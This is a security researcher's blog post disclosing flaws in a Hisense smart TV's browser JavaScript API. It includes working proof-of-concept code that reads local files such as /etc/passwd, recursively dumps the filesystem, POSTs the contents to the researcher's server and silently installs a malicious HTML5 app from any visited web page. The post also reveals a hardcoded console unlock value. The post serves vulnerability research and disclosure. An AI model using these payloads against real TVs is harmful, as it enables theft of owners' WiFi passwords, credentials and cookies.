Haxxoring a Hisense Smart TV

exploitation reverse-engineering vulnerability

Instead of watching The Bachelor, I’ve decided to take a look at the security of my Hisense smart TV. I’ve found a way to read arbitrary files from the file system. Also, (over)writing specific files, as well as installing malicious HTML5 applications was found to be possible. All of that can be performed from the web browser, using the custom JavaScript API that was implemented by the vendor.

You can find some PoCs at the end of this blog post. As a bonus, you can visit this blog post with a Hisense TV and check if the device is affected or not.

Attack Surface

The UI of my Hisense A7100F TV is based on a system called VIDAA. Most things that are visible to users are running in a browser and the whole UI was coded in HTML5 and JavaScript. For me, the attack surface of such a device essentially boiled down to:

Since I don’t feel like bricking my TV right away, hardware based stuff just isn’t the right approach for me :D Also, clever people already found out that there’s a root shell accessible via UART on a 3.5mm jack port on some Hisense TVs, so I wanted to check what’s possible from the software side. Furthermore, the UART thing doesn’t seem to work for my TV since the required port is not available. I’ve tested this with a USB-to-TTL adapter and a 3.5mm connector.

The TV’s software can be updated via USB and OTA but there’s only limited availability of update packages and they seem to be encrypted, so this route would require some additional work, if it would work at all. I’ve performed a port scan of the TV and found some MQTT and DIAL services, but nothing too promising.

Custom JavaScript API

I’ve decided to research whether hidden debugging features are activated. It turns out that the integrated web browser of the TV implements a special hisense://debug URL handler. It allows adding additional HTML5 applications by specifying an application’s URL. At first, this seems to be just a shortcut on the menu that points to an arbitrary URL. But, as I discovered, web sites launched in HTML5 application mode seem to have access to additional functionality of the browser.

Using the file:/// handler is one feature of this kind. A common trick when exploiting HTML-to-PDF converters is to use this handler in combination with an XMLHttpRequest to read local files. The same attack can be performed on Hisense TVs using the following code:

<html>

<head>
    <meta http-equiv="refresh" content="1; URL=/">
</head>

<body onload="readTextFile('file:///etc/passwd')">
    <script>
        function readTextFile(filename) {
            var rawFile = new XMLHttpRequest();
            rawFile.open("GET", filename, false);
            rawFile.onreadystatechange = function () {
                if (rawFile.readyState === 4) {
                    if (rawFile.status === 200 || rawFile.status == 0) {
                        var daText = rawFile.responseText;

                        // POST data to me :)
                        var formData = new FormData();
                        formData.append("name", filename)
                        formData.append("file", daText + "\r\n\r\n\r\n");
                        fetch('/upload/file', { method: "POST", body: formData });
                        alert("YOLO!");
                    }
                }
            }
            rawFile.send(null);
        }
    </script>
</body>
</html>

This reads the /etc/passwd file from the TV’s file system and transfers it back to my machine using a POST request. As can be seen above, I’ve added a refresh directive to the site that allows me to dump multiple things programmatically. The HTML5 applications refreshes the site after sending a file and can therefore be instrumented to read and send another file afterwards. An interesting fact is that this did not work from the regular context that’s available by simply opening a browser and visiting a web site.

A convenient thing is that both files and directory contents can be dumped this way. For example, specifying file:/// allows dumping the directory listing of the / directory in HTML format:

addRow("appcache","appcache",1,"4.0 kB", [...])
addRow("applications","applications",1,"4.0 kB", [...])
addRow("bin","bin",1,"808 B", [...])
addRow("cacert","cacert",1,"4.0 kB","")
addRow("certificate","certificate",1,"1.0 kB", [...])
addRow("config","config",1,"4.0 kB", [...])
addRow("Customer","Customer",1,"4.0 kB", [...])
addRow("CustomerBackup","CustomerBackup",1,"3 B", [...])
addRow("data","data",1,"4.0 kB", [...])
addRow("database","database",1,"3 B", [...])
addRow("dev","dev",1,"3.7 kB", [...])
addRow("etc","etc",1,"502 B", [...])
addRow("font","font",1,"37 B", [...])
addRow("hidata","hidata",1,"59 B", [...])
addRow("home","home",1,"3 B", [...])
addRow("lib","lib",1,"1.2 kB", [...])
addRow("lost+found","lost+found",1,"3 B", [...])
addRow("mnt","mnt",1,"2.9 kB", [...])
addRow("mslib","mslib",1,"8.0 kB", [...])
addRow("OAD","OAD",1,"4.0 kB", [...])
addRow("opt","opt",1,"4.0 kB","")
addRow("proc","proc",1,"0 B","")
addRow("root","root",1,"3 B", [...])
addRow("sbin","sbin",1,"604 B", [...])
addRow("serialdata","serialdata",1,"4.0 kB","")
addRow("subsystem","subsystem",1,"3 B", [...])
addRow("sys","sys",1,"0 B", [...])
addRow("system","system",1,"3 B", [...])
addRow("tmp","tmp",1,"760 B", [...])
addRow("tvcommon","tvcommon",1,"1.0 kB","")
addRow("tvconfig","tvconfig",1,"4.0 kB","")
addRow("tvcustomer","tvcustomer",1,"4.0 kB","")
addRow("tvdatabase","tvdatabase",1,"4.0 kB","")
addRow("tvservice","tvservice",1,"4.0 kB","")
addRow("usb","usb",1,"4.0 kB", [...])
addRow("usr","usr",1,"64 B", [...])
addRow("var","var",1,"440 B", [...])
addRow("vddt","vddt",1,"4.0 kB", [...])
addRow("vendor","vendor",1,"26 B", [...])
addRow("init","init",0,"559 kB", [...])
addRow("linuxrc","linuxrc",0,"559 kB", [...])

The browser seems to be able to read the contents of the /root directory as well :) I’ve then developed a function that dumps the directory listings of each directory recursively to get a better understanding of the file system structure:

function dumpFS(path) {
    var content = readFS(path);
    postContent(path, content);

    var lines = content.split("\n");
    for (var idx in lines) {
        var line = lines[idx];

        // not an entry
        if(line.indexOf("addRow") == -1) {
            continue
        }

        // check if dir flag is set (don't dump files in this step)
        // 1 --> dir
        // 0 --> file
        if (line.indexOf(",1,") == -1) {
            continue
        }

        // parse directory listing entry
        var entryName = line.split('("')[1].split('"')[0];
        entryName = entryName.replace('script', '').replace(/^\s+|\s+$/g, '');

        var wholePath = path + "/" + entryName;
        // don't ask why
        wholePath = wholePath.replace("//", "/");
        wholePath = wholePath.replace("//", "/");

        // don't dump specific directories
        if (wholePath.includes(".") || wholePath.includes("/proc") || wholePath.includes("/udev") || wholePath.includes("/dev") || wholePath.includes("/sys")) {
            continue;
        }

        dumpFS(wholePath);
    }

    if(path == "/") {
        alert("DONE");
    }
}

The HTTP server on my machine then receives the POST requests, parses the received content and stores the output. My server is based on this gist.

Using the Browser’s File API

My initial observation was that the browser application has to be able to read and write files, since the created shortcut to my HMTL5 application was persistent across device reboots. The shortcut was added by using the browser’s debug menu, so the next logical step was to dump the HTML and JavaScript files of the hisense://debug web site that are stored on the file system.

It turns out, that File can be used to both read and write files on the file system, as can be seen in the dumped JavaScript files:

var installedAppJsonStr = File.read("launcher/Appinfo.json",1);
[...]
File.write("launcher/Appinfo.json", writedata, 1);

It’s important to note that the specified paths aren’t absolute. This means that sequences of ../ have to be prepended to reach directories and files stored in other locations. Also, don’t confuse this API with the HTML5 File API – this API is entirely different. Interestingly, using File.write() seems to allow writing to arbitrary writable locations, whereas File.read() only allows to read files within a specific directory.

Now, there’s a little issue here. Most things are mounted as read-only on the TV’s file system :( This means that only specific files and directories are writable. I’ve found multiple ways to potentially brick my TV using this API. However, so far I haven’t found a shell script or binary in a writable location that can be manipulated to gain code execution on the system.

Apparently, there’s a file called run-OtaUpgrade.sh in a writable location on some Hisense TVs. Some people on XDA successfully edited this file via the UART root console to turn on telnetd during boot. Unfortunately, this file is not present on my device. Another person reported that this file can be created in case it doesn’t exist but it may also prevent the TV from booting in some cases :D I don’t feel like buying a new TV, so I decided not to try it.

Maybe it’s possible to remotely root specific Hisense TVs using the method I described. In case the mentioned shell script exists, it could potentially be overwritten with custom commands that are invoked during a reboot. Maybe. Maybe not.

Installing Malicious HTML5 Applications

Another interesting thing to point out is that the File API can be reached from the normal browser context and does not require an HTML5 application.

OK, let’s summarize what’s possible with the JavaScript API. Among other things, any website you visit via the web browser is able to:

Since reading files is quite limited, I’ve searched for a way to somehow switch from the regular browser context to an HTML5 application context, where arbitrary files could be extracted from a TV via file://. An attack like this would involve someone visiting a malicious web page with the TV’s browser and getting owned by getting sensitive files extracted by an attacker.

Exploring the JavaScript API

Since JavaScript is cool and all, some available functions of the current context can be enumerated with Object.getOwnPropertySymbols(window). This revealed several custom functions with the prefix Hisense_* like:

The source code of these functions can be dumped with alert(<function name>).

Silently Installing an HTML5 Application

The plan was to use the Hisense_installApp() function to install an HTML5 application on a TV, which can be triggered from the regular browser context. This means that everyone visiting a specially prepared website with a Hisense TV’s browser will get my super cool HTML5 application installed silently without any visible indication. The application then ends up on the regular Application menu with a custom icon.

Here’s some code that does just this:

function hax() {
    // custom icon
    var thumb = "https://pbs.twimg.com/profile_images/1144333025490210816/grBuwqHH_400x400.png";
    // has to be a unique name
    var appName = "uberpwner13371337";

    var thumbnail = thumb;
    var iconSmall = thumb;
    var iconBig = thumb;
    var AppUrl = "https://bananamafia.dev/post/hisensehax/";
    var storetype = "store";
    var appId = appName;

    Hisense_installApp(appId, appName, thumbnail, iconSmall, iconBig, AppUrl, storetype, installCallBack);
}

function installCallBack(res) {
    if (res == 0) {
        // worked
    } else {
        // didn't work
    }
}

As can be seen, an HTML5 application only consists of a URL and some meta data. Internally, the installation process writes a JSON structure with all this information into the file Appinfo.json, where all custom applications are stored.

I haven’t found a way that allows uninstalling these apps from the UI, it’s however possible using another API function.

Launching the Application

There are a few ways this could be done:

  1. Using the Hisense_StartApp() function, which didn’t work for me unfortunately.
  2. Writing the application’s JSON data into preset.txt instead of Appinfo.json. The preset.txt file includes URLs to various default applications and it may for example be possible to replace the URL of the YouTube application. There’s even an API that does just this. Since this can brick my UI, I didn’t try this though.
  3. Using a convincing application icon that tricks a user into opening the malicious application. I’ve recorded a demo for this, which you can find below.

As soon as someone opens the malicious application, every file stored on the TV can be sent to the attacker. This could include the WiFi password, entered Netflix/YouTube/Whatever credentials, cookies and so on.

Demo

Things That Didn’t Work

A Mysterious Shell Script Appears

I’ve found this in /etc/login.sh:

#!/bin/sh
stty -echo

while true
do
    read line
    # if [ $(echo -n "x${line}" | md5sum | awk '{print $1}') = "e6007a36a7bacfb32502f787431664df" ]; then
    if [ "$line" = "05328087" ]; then
        stty echo
        exit 0
    fi
done

In case you didn’t know: The command stty -echo changes the settings of the current shell to disable input echoing. Unless the magic value 05328087 is entered, no input feedback will be provided by the shell. This makes me think that there’s another (serial?) console hidden somewhere… :(

PoCs aka Please Hack My TV

You can trigger different PoCs using the buttons below. Don’t blame me for any damage, though.

Reading Netflix Preferences

Netflix PoC

Installing an Application

Install PoC

Reading /etc/passwd

You need to be in HTML5 application mode for this – see the section above for a PoC.

/etc/passwd PoC

I’ve kindly asked the vendor if they wanted to chat about this but they didn’t reply :(

37C3 CTF: ezrop

ctf reversing exploitation rop radare2 r2

ShhPlunk: Muting the Splunk Forwarder

reverse-engineering c++ linux

Game Hacking #5: Hacking Walls and Particles

reverse-engineering c++ binary gamehacking